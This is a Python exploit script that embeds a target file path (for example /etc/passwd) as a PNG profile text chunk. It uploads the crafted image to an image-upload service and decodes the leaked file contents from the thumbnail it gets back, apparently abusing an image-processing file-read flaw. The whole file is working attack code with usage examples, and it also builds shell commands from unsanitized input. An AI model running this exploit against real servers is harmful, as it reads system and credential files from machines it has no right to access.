exploit.py

#!/usr/bin/env python3
import subprocess
import sys
import time
import os
import platform

def build_exploit_image():
    print("Building exploit image...")
    execute_command("docker build -t exploit . -f Dockerfile.exploit")

def execute_command(command):
    # print("Executing: "+command)
    process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = process.communicate()
    return stdout.decode()

def decode_png(png_file = os.getcwd()+"/result.png"):
    build_exploit_image()

    if png_file[0] != "/":
        png_file = os.getcwd()+"/"+png_file

    print("Decoding content from "+png_file+"...\n")
    command = "docker run --rm -it -v "+png_file+":/result.png exploit identify -verbose /result.png"

    image_data = execute_command(command)
    lines = image_data.split("\n")
    try:
        start_raw_data = ["Raw profile type:" in line for line in lines].index(True) + 3
    except:
        print("Unable to find hacker metadata in the image. Nothing to see here!")
        return ""
    end_raw_data = lines[start_raw_data:].index('\r') + start_raw_data
    raw_data_str = "".join(lines[start_raw_data:end_raw_data])
    decoded_str = bytes.fromhex(raw_data_str).decode("utf-8")
    return decoded_str


if len(sys.argv) < 2:
    command = ""
else:
    command = sys.argv[1]

if command == "encode":
    build_exploit_image()

    image = sys.argv[2]
    file2cat = sys.argv[3]
    encoded_image = "encoded-" + image
    print("Encoding " + file2cat +" into " + image +" as " + encoded_image + " ...")
    
    command = "docker run --rm -it -v "+os.getcwd()+":/imagedir exploit pngcrush -text a \"profile\" \"" + file2cat +"\" /imagedir/" + image +" /imagedir/" + encoded_image

    execute_command(command)
    print("File encoded as " + encoded_image)

elif command == "decode":
    print(decode_png(png_file=sys.argv[2]))

elif command == "upload":
    image = sys.argv[2]
    if len(sys.argv) > 2:
        host = sys.argv[3]
    else:
        host = "localhost:5001"

    print("Sending "+image+" to "+host+"...")
    execute_command("curl "+host+"/upload -F 'file=@"+image+"' --compressed -so result.png")
    print("Thumbnailed image received as result.png")

else:
    print("Usage: python3 exploit.py <encode|decode|upload> <image> <file2cat> <host>")
    print()
    print("Example: python3 exploit.py encode image.png /etc/passwd")
    print("Example: python3 exploit.py decode result.png")
    print("Example: python3 exploit.py upload image.png localhost:5001")
    print()